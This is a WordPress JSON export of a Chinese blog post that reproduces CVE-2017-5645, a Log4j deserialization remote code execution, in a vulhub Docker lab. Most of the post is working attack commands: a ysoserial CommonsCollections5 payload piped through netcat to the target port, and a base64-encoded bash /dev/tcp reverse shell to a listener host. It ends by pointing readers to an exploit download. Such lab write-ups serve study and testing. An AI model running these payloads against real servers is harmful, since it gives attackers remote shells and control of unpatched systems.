{"id":1017,"date":"2022-11-14T08:56:58","date_gmt":"2022-11-14T00:56:58","guid":{"rendered":"https:\/\/blog.langsasec.cn\/?p=1017"},"modified":"2022-11-14T08:56:58","modified_gmt":"2022-11-14T00:56:58","slug":"cve-2017-5645%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2022\/11\/14\/cve-2017-5645%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0\/","title":{"rendered":"CVE-2017-5645\u6f0f\u6d1e\u590d\u73b0"},"content":{"rendered":"<h2><span class=\"ez-toc-section\" id=\"%e6%bc%8f%e6%b4%9e%e6%a6%82%e8%bf%b0\"><\/span>\u6f0f\u6d1e\u6982\u8ff0<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Apache Log4j\u662f\u4e00\u4e2a\u7528\u4e8eJava\u7684\u65e5\u5fd7\u8bb0\u5f55\u5e93\uff0c\u5176\u652f\u6301\u542f\u52a8\u8fdc\u7a0b\u65e5\u5fd7\u670d\u52a1\u5668\u3002Apache Log4j 2.8.2\u4e4b\u524d\u76842.x\u7248\u672c\u4e2d\u5b58\u5728\u5b89\u5168\u6f0f\u6d1e\u3002\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e7%8e%af%e5%a2%83%e6%90%ad%e5%bb%ba\"><\/span>\u73af\u5883\u642d\u5efa<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"vulhub%e6%90%ad%e5%bb%ba%e5%8f%82%e8%80%83%ef%bc%9a\"><\/span>vulhub\u642d\u5efa\u53c2\u8003\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<blockquote>\n<p><a href=\"http:\/\/mp.weixin.qq.com\/s?__biz=MzI1ODM1MjUxMQ==&amp;mid=2247489857&amp;idx=1&amp;sn=a085cbb6af221412751265a656c75d4a&amp;chksm=ea082d51dd7fa4472640fff75a7a1b1d04d3fa24a29f09ee5a4dfecfd27eedb54858ae9c7f00#rd\">Vulnhub \u9776\u573a\u73af\u5883\u642d\u5efa<\/a><\/p>\n<\/blockquote>\n<p>\u8fdb\u5165\u5230vulbub\u9776\u573a\u7684\/vulhub\/log4j\/CVE-2017-5645\u76ee\u5f55<\/p>\n<p>\u4f7f\u7528\u547d\u4ee4\uff1adocker-compose up -d #\u542f\u52a8\u955c\u50cf\uff0c\u6574\u4e2a\u8fc7\u7a0b\u6bd4\u8f83\u4e45\uff0c\u8010\u5fc3\u7b49\u5f85<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/8792858e3e5fc6babd2bd92682558b48494a1954.jpg\" alt=\"IMG_256\" title=\"CVE-2017-5645\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e6%b5%8b%e8%af%95%e8%bf%9e%e9%80%9a%e6%80%a7\"><\/span>\u6d4b\u8bd5\u8fde\u901a\u6027<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/280b1b9c8357e8d238858177bd21c4c80955316d.jpg\" alt=\"IMG_257\" title=\"CVE-2017-5645\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe1\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e8%bf%9b%e5%85%a5%e5%ae%b9%e5%99%a8\"><\/span>\u8fdb\u5165\u5bb9\u5668<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>docker-compose exec log4j bash<\/strong><\/p>\n<p>ls \/tmp \u67e5\u770b\u5f53\u524d\u6587\u4ef6\u60c5\u51b5\uff0c\u7528\u4e8e\u540e\u7eed\u786e\u8ba4\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u662f\u5426\u6267\u884c\u6210\u529f<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e7%94%9f%e6%88%90payload%e8%bf%9b%e8%a1%8c%e6%94%bb%e5%87%bb\"><\/span>\u751f\u6210payload\u8fdb\u884c\u653b\u51fb<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u4f7f\u7528ysoserial\u751f\u6210payload\uff0c\u7136\u540e\u76f4\u63a5\u53d1\u9001\u7ed9192.168.0.140:4712<\/p>\n<p>java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 &quot;touch \/tmp\/success&quot; | nc.exe 192.168.0.140 4712<\/p>\n<p>\u901a\u8fc7docker\u547d\u4ee4\u884c\u53ef\u4ee5\u770b\u5230\u751f\u6210\u4e86success\u6587\u4ef6\u5939<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/d65370ef4e4557064ee55f7460dcf3e09157b7b9.jpg\" alt=\"IMG_258\" title=\"CVE-2017-5645\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe2\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e5%bc%80%e5%90%af%e7%9b%91%e5%90%ac\"><\/span>\u5f00\u542f\u76d1\u542c<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>nc.exe -lvvp 9999<\/p>\n<p>\u5c06 \/bin\/bash -i &gt;&amp; \/dev\/tcp\/192.168.0.1\/9999 0&gt;&amp;1 \u8fdb\u884cbase64\u7f16\u7801<\/p>\n<p>L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xLzk5OTkgMD4mMQ==<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e5%8f%8d%e5%bc%b9shell\"><\/span>\u53cd\u5f39shell<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 &quot;bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}&quot; | nc.exe 192.168.0.140 4712<\/p>\n<p>\u6c89\u4f4f\u6c14\uff0c\u4e0d\u8981\u6025\uff01\uff01\uff01<\/p>\n<p>\u5f97\u5230\u53cd\u5f39shell\uff0csuccess<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/4488812a4acf81cf43fd487b59a351f81d5822b1.jpg\" alt=\"IMG_259\" title=\"CVE-2017-5645\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe3\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e8%8e%b7%e5%8f%96exp\"><\/span>\u83b7\u53d6exp<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<blockquote>\n<p>\u5173\u6ce8\u6d6a\u98d2sec\u56de\u590d<code>221108<\/code>\u83b7\u53d6exp\u4e0b\u8f7d\u5730\u5740<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>\u6f0f\u6d1e\u6982\u8ff0 Apache Log4j\u662f\u4e00\u4e2a\u7528\u4e8eJava\u7684\u65e5\u5fd7\u8bb0\u5f55\u5e93\uff0c\u5176\u652f\u6301\u542f\u52a8\u8fdc\u7a0b\u65e5\u5fd7\u670d\u52a1\u5668\u3002Apache Lo [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34],"tags":[],"class_list":["post-1017","post","type-post","status-publish","format-standard","hentry","category-vulfx"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1017","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=1017"}],"version-history":[{"count":1,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1017\/revisions"}],"predecessor-version":[{"id":1018,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1017\/revisions\/1018"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=1017"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=1017"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=1017"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}